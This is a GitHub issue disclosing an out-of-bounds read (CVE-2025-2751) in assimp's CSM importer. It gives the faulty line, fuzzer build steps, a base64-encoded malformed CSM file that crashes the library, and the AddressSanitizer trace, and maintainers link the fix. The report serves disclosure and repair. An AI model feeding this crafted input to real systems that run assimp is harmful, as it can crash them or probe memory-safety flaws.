Repository navigation
Closed
Copy link
Labels
BugGlobal flag to mark a deviation from expected behaviourCSMBugs related to the CSM format.FuzzerBugs found by a fuzzerSecurity RiskBugs that could potentially be security vulnerabilities
Description
Summary
Out-of-bounds Read in Assimp::CSMImporter::InternReadFile. An attacker could potentially exploit the vulnerability to cause a remote code execution, if they can trick the victim into running assimp on a malformed CSM file.
Affected
assimp>=5.4.3
Details
In code/AssetLib/CSM/CSMLoader.cpp:272, user can arbitrary read memory using na which lead to OOB read.
aiMatrix4x4::Translation(na->mPositionKeys[0].mValue, nd->mTransformation);Using aiMatrix4x4t<TReal>& aiMatrix4x4t<TReal>::Translation, attacker can leak arbitrary memory value.
template <typename TReal>
AI_FORCE_INLINE aiMatrix4x4t<TReal>& aiMatrix4x4t<TReal>::Translation( const aiVector3t<TReal>& v, aiMatrix4x4t<TReal>& out) {
out = aiMatrix4x4t<TReal>();
out.a4 = v.x;
out.b4 = v.y;
out.c4 = v.z;
return out;
}For PoC, it got crash reading null pointer.
gdb-peda$ p na->mPositionKeys[0]
Cannot access memory at address 0x0
gdb-peda$ p na->mPositionKeys[0].mValue
Cannot access memory at address 0x8PoC
- build assimp with sanitizer
git clone https://github.com/assimp/assimp.git && cd assimp
cmake CMakeLists.txt -G "Ninja" -DBUILD_SHARED_LIBS=OFF -DASSIMP_BUILD_ZLIB=ON \
-DASSIMP_BUILD_TESTS=OFF -DASSIMP_BUILD_ASSIMP_TOOLS=OFF \
-DASSIMP_BUILD_SAMPLES=OFF
cmake --build .
clang -fsanitize=address,fuzzer -std=c++11 -Iinclude fuzz/assimp_fuzzer.cc -o assimp_fuzzer ./lib/libassimp.a ./contrib/zlib/libzlibstatic.a- run fuzzer to trigger bug
echo "TFdTJyBBJw0gTG9hZE9iag0NDSQkJCQkJCQkJCQkJCQkJCRGaXJzdEZyYW1lDSAxJEYkXyQkJCR0
UG9pbv8NITEkRmlsZU5hbWUMdGxsPAZOX18kOi8vczEvDQ0NDQ0NIExvYWRPYmoNDQ0kJCQkICQk
JG9yZGVyIEEnDSBMb2FkT2JqDQ0NJCQkJCQkJCQkJCQkJCQkJEZpcnN0RnJhbWUNIDEkRiRfJCQk
JJdQb2lu/w0hMSRGaWxlTmFtZQx0bGxGJF8kJCQkJGxhc1Bpdm90UG9pbv//IDEkRiQkRmlyc3RG
cmFtZQ0gMSRGJF8kJCQkdFBvaW7/DSExJEZpbGVOYW1lDHRsbDwGTl9fJDovL3MxLw0NDQ0NDSBM
b2FkT2JqDQ0NJCQkJCAkJCRpbGVOYW1lDHRsbDwGTl9fJDovL3NMV1NDIEEkDSBMb2FkT2JsZU5h
bWUMdGxsPAZOX18kOi8vcz4AZm8=" | base64 -d > crash
./assimp_fuzzer ./crashSanitizer Report
=================================================================
==1301==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x55950b268db0 bp 0x7ffc6eb4a3d0 sp 0x7ffc6eb4a240 T0)
==1301==The signal is caused by a READ memory access.
==1301==Hint: address points to the zero page.
#0 0x55950b268db0 in aiMatrix4x4t<float>::Translation(aiVector3t<float> const&, aiMatrix4x4t<float>&) /workspace/assimp_fuzzer/assimp_asan/include/assimp/matrix4x4.inl:636:16
#1 0x55950b655104 in Assimp::CSMImporter::InternReadFile(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, aiScene*, Assimp::IOSystem*) /workspace/assimp_fuzzer/assimp_asan/code/AssetLib/CSM/CSMLoader.cpp:272:9
#2 0x55950b27aa12 in Assimp::BaseImporter::ReadFile(Assimp::Importer*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, Assimp::IOSystem*) /workspace/assimp_fuzzer/assimp_asan/code/Common/BaseImporter.cpp:131:9
#3 0x55950acf57e4 in Assimp::Importer::ReadFile(char const*, unsigned int) /workspace/assimp_fuzzer/assimp_asan/code/Common/Importer.cpp:709:30
#4 0x55950acf30a2 in Assimp::Importer::ReadFileFromMemory(void const*, unsigned long, unsigned int, char const*) /workspace/assimp_fuzzer/assimp_asan/code/Common/Importer.cpp:507:9
#5 0x55950acee717 in LLVMFuzzerTestOneInput (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x491717) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
#6 0x55950ac17203 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x3ba203) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
#7 0x55950ac00f7f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x3a3f7f) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
#8 0x55950ac06cd6 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x3a9cd6) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
#9 0x55950ac30af2 in main (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x3d3af2) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
#10 0x7f162d0b6d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#11 0x7f162d0b6e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#12 0x55950abfb844 in _start (/workspace/assimp_fuzzer/assimp_asan/assimp_fuzzer+0x39e844) (BuildId: 14559a9c5adc933a1ee50e87be18a77fe0b33b01)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /workspace/assimp_fuzzer/assimp_asan/include/assimp/matrix4x4.inl:636:16 in aiMatrix4x4t<float>::Translation(aiVector3t<float> const&, aiMatrix4x4t<float>&)
==1301==ABORTINGCommon weakness enumerator (CWE)
- CWE-125: Out-of-bounds Read
Metadata
Metadata
Assignees
Labels
BugGlobal flag to mark a deviation from expected behaviourCSMBugs related to the CSM format.FuzzerBugs found by a fuzzerSecurity RiskBugs that could potentially be security vulnerabilities
Activity
carnil commentedon Mar 25, 2025
This issue has CVE-2025-2751 assigned.
tellypresence commentedon May 1, 2025
Will track via epic #6128
Fixes CVE-2025-2751: Out-of-bounds Read in Assimp::CSMImporter::Inter…
Fixes CVE-2025-2751: Out-of-bounds Read in Assimp::CSMImporter::Inter…
Fixes CVE-2025-2751: Out-of-bounds Read in Assimp::CSMImporter::Inter…